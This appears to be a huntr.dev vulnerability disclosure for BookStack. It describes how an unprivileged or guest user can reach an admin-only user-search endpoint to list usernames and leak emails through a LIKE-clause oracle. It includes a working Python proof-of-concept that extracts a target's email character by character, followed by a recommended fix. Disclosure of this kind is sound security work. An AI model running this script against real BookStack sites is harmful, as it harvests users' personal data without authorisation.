Lucene search

K
huntrHaxatron135F2D7D-AB0B-4351-99B9-889EFAC46FCA
HistoryDec 11, 2021 - 3:45 p.m.

Improper Access Control in bookstackapp/bookstack

2021-12-1115:45:29
haxatron
www.huntr.dev
5

0.002 Low

EPSS

Percentile

54.3%

Description

A logged-in user with no privileges OR guest user (if public access enabled) can access the /search/users/select AJAX endpoint meant for admins to manage audit logs, to dump all usernames existing in the Bookstack database. This can also be used to harvest email belonging to a user because BookStack also uses the code where(‘email’, ‘like’, ‘%’ . $search . ‘%’) to search for users based on email. Which means we can execute an error-based attack (ie. if a user appears when we use ?search=admin@, then we know that some part of the user email address contains “admin@” due to the LIKE %{search_term}% SQL clause) to obtain an email of a user

Proof of Concept 1 (Dump All Users)

1: As a guest user, access /search/users/select endpoint, dump the possible users on the application.

Proof of Concept 2 (Harvest emails tied to specific user)

2: When we search /search/users/select?search=admin@, the admin user remains present, meaning email contains admin@

3: When we search /search/users/select?search=nobody@, the admin user does not remain present, this can be exploited and automated to extract emails tied to the specific user, meaning email does not contain nobody@

4: A Python3 POC script to target anybody is shown. This exploits the SQL LIKE %search% clause in /search/users/select endpoint to harvest target emails:

import requests

### REPLACE
host = "http://10.0.2.15"
username = "viewer"

### EXPLOIT START
def find(victim):
   ## STEP 1: Find length of email
   for i in range(0,100):
       r = requests.get(host + "/search/users/select?search=" + "_" * i)
       if victim not in r.text:
           length = i
           break

   ## STEP 2: Extract email
   charList = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','@','.']
   found = ""
   for ord in range(length, -1, -1):
      for char in charList:
          r = requests.get(host + "/search/users/select?search=" + found + char + "_" * ord)
          if victim in r.text:
             found += char
             print(found)
             break
   print("Email: " + found)
   return found

### CALL EXPLOIT
find(username)

Impact

This vulnerability is capable of harvesting usernames (in one request) and emails (via an error-based attack) as guest user.

Recommended Fix

The /search/users/select endpoint should only be available to audit managers (ie. settings-manage and users-manage permissions)

0.002 Low

EPSS

Percentile

54.3%

Related for 135F2D7D-AB0B-4351-99B9-889EFAC46FCA